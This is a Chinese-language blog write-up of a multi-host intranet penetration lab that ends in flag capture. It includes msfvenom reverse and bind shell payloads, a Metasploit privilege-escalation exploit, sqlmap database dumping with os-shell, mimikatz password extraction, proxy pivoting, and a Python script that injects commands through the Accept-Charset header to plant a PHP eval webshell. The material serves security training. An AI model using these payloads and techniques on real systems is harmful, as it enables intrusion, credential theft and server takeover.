完整的渗透测试实例
作者:Slaine 编辑日期:2021.6.6
流程目录
前言
记得在2021年初就通关的这个的内网渗透靶场,只不过做完很久都后没怎么管,然后就去某CTF站刷了好一阵子题,排名从两万刷到了两百。
记得刷完CTF题后又是各种考试,过了好一阵子才有时间把这个内网渗透的笔记总结(2021.6.6)。
一年后的现在暑假(2022.7)开始了,整理个人知识技能时感觉学了很多很多,也走了很多很多弯路,感觉比较乱,所以今后会不断以文章形式整理整理自己的笔记和技能树,鉴于这是当年第一个流程比较正式的笔记,也所以找出来作为第一篇文章发表.
当年截图,自娱自乐一下留作回忆吧
正文
环境搭建
-
将三台靶机:WEB服务器*2、数据库服务器部署到VM虚拟机中
-
靶场完整示意图
-
虚拟机网段布置知识:有道云笔记 (youdao.com)
-
VM虚拟机中设置10.10.10.0和10.10.1.0两个内网段
-
检测同网段的机子可以相互ping通
-
IIS网站池和DNS解析池共同在靶机上搭建的网站
-
网关绑定
本身将IP和域名添加到hosts即可实现访问靶机网站,在本地网络连接的网关中绑定靶机IP后,即使去掉hosts的相关信息也可以达到访问网站的目的(只有www.cc123.com需要火狐的隐私模式才能访问)
渗透操作流程:
探寻内网主机
netdiscover
命令:netdiscover -i eth0 -r 192.168.0.0/24
端口扫描
masscan
端口信息探测
nmap
穷举子域名
命令:wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H “Host:FUZZ.cc123.com” --hw 53
域名new.
Py脚本注入得后台密码
对象:new.cc123.com
利用dedecms 的版本注入漏洞写出Python脚本进行注入获取管理员网站登录密码
812df726be884ddcfc41 MD5解码后为 admin7788 为后台管理登录密码
成功登录后台
有了管理密码后成功登录网站后台
发现从后台上传的一句话木马不能执行,应该是没有路径权限
所以先上传小马来探测路径
小马探测
小马探测有上传和执行权限的文件路径
上传大马
大马用处很多,待会会配合使用到
使用蚁剑管理网站
连接上蚁剑后可以执行很多操作,不过这次项目中我们会用到其他方法
Metasploit的会话连接与提权
对象:new.cc123c.com
//这里开启靶机后由之前的192.168.31.85改分配为192.168.31.86了,不过问题不大,把靶机文件里DNS解析和主机网关分配修改成86后仍正常操作
反弹shell链接
(1)msf通过反弹shell建立连接会话
操作流程
msfvenom -p windows/meterpreter/reverse_tcp lhost=kali机ip lport=要开放的端口 -f exe >SL(文件名称).exe
//生成exe文件
进入msf
msf > use exploit/multi/handler
msf(handler) > set payload windows/meterpreter/reverse_tcp
msf(handler) > set lhost xxxxxx (kali机本地ip)
msf(handler) > set lport xxxxxx //(这两项和生成文件的命令信息需一致)
msf(handler) > run
执行生成的exe文件,开始反弹
在大马里上传并执行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bQl4fQ9o-1657886068852)( https://tuchuang-images001-1304277438.cos.ap-chengdu.myqcloud.com/images/image-20210604110549947.png)]
建立会话成功,不过现在还是普通用户(cc123)权限,需要提权
提权到system
前提是用ASPXSpy2014.aspx反弹连接是cc123用户
meterpreter连接成功后
meterpreter > background
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post( multi/recon/local_exploit_suggester) > set session xx
show options 看一下
run
在很多备用选项中选择
use exploit/windows/local/ms16_075_reflection_juicy
set session xx
set lport 4444 (很重要)
run
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WFol8DYX-1657886068854)( https://tuchuang-images001-1304277438.cos.ap-chengdu.myqcloud.com/images/image-20210604111048627.png)]
提权成功,获取到最高system权限
域名ww2.
网站后台目录扫描
对象:ww2.cc123.com
扫描结果中找到需要的后台管理界面
对ww2.cc123.com后台登录
BP对管理系统爆破(方法一)
BP抓包发现验证码可重复利用,可以进行密码爆破(此步骤为可选项,不过本次操作中用其他方法达到登录目的)
SQL注入绕过密码(方法二)
原理:SQL注入的漏洞,通过注释去掉密码,直接利用已有的admin账户的账号登录
XSS后台注入漏洞
存在XSS注入漏洞
注释:可以通过XSS注入在管理员登录时获取其cookie
Sqlmap测试和搜集详细信息
在网站后台页面BP抓包
抓包后将其放入kali的文件中,使用salmap
注意:要在kali机的hosts文件中加入靶机IP和域名才能用sqlmap扫描
sqlmap -r sqll --dbms mssql -v 1 --batch //测试注入信息
sqlmap -r sqll --dbms mssql -v 1 --dbs // 列出库名
sqlmap -r sqll --dbms mssql -v 1 -D ** --tables //列出**库中的表名
sqlmap -r sqll --dbms mssql -v 1 -D ** -T $$ --dump //列出**库中的$$表里面的内容
sqlmap -r sqll --dbms mssql -v 1 --os-shell //获取 mssql shell
//注:这里把为BP抓包的网页请求信息放的文件这里取名为sqll(名字无所谓)
操作展示:
获取站点下的库名
获取指定库里的所有表名
获取库的表里的关键信息(账密)
建立shell链接获取服务器信息
获取 mssql shell 以及 利用sqlmap建立的链接 获取SQLSERVER 服务器信息
查看网络和端口运行情况
大致推断内网域结构
结论:从搜集到的 服务器IP信息 和 初始靶机 不一致,推算目标为站库分离结构,含至少两台服务器
(站库分离:程序跟数据库不在一个服务器 让这个数据服务器更加的安全 数据更加安全)
192.168.31.86/10.10.10.144为A靶机(站点页面资料存放)
10.10.1.144/10.10.10.147为B靶机(站点数据库存储)
10.10.1.146为最终目标靶机
查看为最高权限
.net审计
//继续项目,这时kali机ip又从192.168.31.14变成192.168.31.15了…比较无语,重新连上msf和提权
下载附件,可以利用ILSpy进行代码审计
ww2.程序密文解密
在下载的文件中找出加密程序代码,并结合VS制作解密小工具
解密结果
目标:ww2.cc123.com 后台管理系统
账户 密码
admin cc123
cc123 qweasd123
后台的重复利用验证码漏洞可用BP进行密码爆破(不过都解密出了,这次项目中没必要)
内网信息深入收集
获取网关和哈希信息
解析获取明文密码
使用mimikatz获取明文之前先进行进程迁移到vmtoolsd.exe中,避免使用mimikatz解析出现乱码
注意:不要迁移到权限为administrator的语句里(相当于降权),应当迁移到同等级system权限且64位的的任务进程里
migrate ****
迁移后要导入mimikatz(好像每次会话都要单独导入一次mimikatz)
load mimikatz //导入
mimikatz_command -f samdump::hashes //解析哈希值
mimikatz_command -f sekurlsa::searchPasswords //解析明文密码
wdigest
tspkg
操作界面
解析出超管权限账密
添加路由和代理设置
代理配置文件后端口探测
vim /etc/proxychains.conf
修改proxychains.conf文件中127.0.0.1 的端口也为3333后,可以执行代理端口扫描
sqlmap获取的shell不是交互式shell我们通过之前的aspx大马连接数据库上传一个正向shell进行连接
查取库账密
查看Web.config文件获取账号密码
<add key="ConnectionString" value="server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123.." />
对数据库B靶机渗透
msf生成shell
msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe > bind.exe //生成shell
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.134
set lport 13777
结合大马执行shell建立会话
先利用刚才得到的账密
server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..;database=master
登录MYSQL数据库
注意上传路径!一定要是可以执行64位程序的路径(因为这里msf生成的shell是64位,这里选择的路径是C:\Program Files)只有这样才能成功上传并执行
成功建立正向会话
排坑:这里我们如果不指定路径则大马在上传shell中故障,若指定路径不正确,则会导致无法正常上传和执行
举个栗子
(错误的上传路径c:/ZX.exe)
开启上帝视角对错误进行分析
目标机B靶机
无法执行
正确操作的结果是ZX.exe文件上传到C:\Program Files并成功执行会话
试了几次好像有时能成功上传执行,有时不能,有点玄学?
mimikatz解析密文
平权迁移进程
migrate ****
这里我们可以和之前一样提权然后获取密文
对目标C靶机渗透
添加路由
run autoroute -s 10.10.1.0/24
彩帽设置代理
检验正常
代理访问网站
表示代理成功
构造Py脚本
#conding:utf-8
import requests
import sys
import base64
shell = "system('"+sys.argv[1]+"');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))
header={
'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}
def exploit(url):
html = requests.get(url=url,headers=header).text
return html
url = "http://10.10.1.157/" //目标C靶机的ip
print(exploit(url))
写入一句话木马
proxychains python3 py.py "echo ^<?php @eval(\$_POST[\"slaine\"])?^>>c:\phpstudy\WWW\shell.php"
成功链接
最高权限
菜刀上传正向连接的shell
成功链接,且为最高权限
会话汇总
内网渗透完成
flag获取
flag1
flag2
flag3
flag4
收工。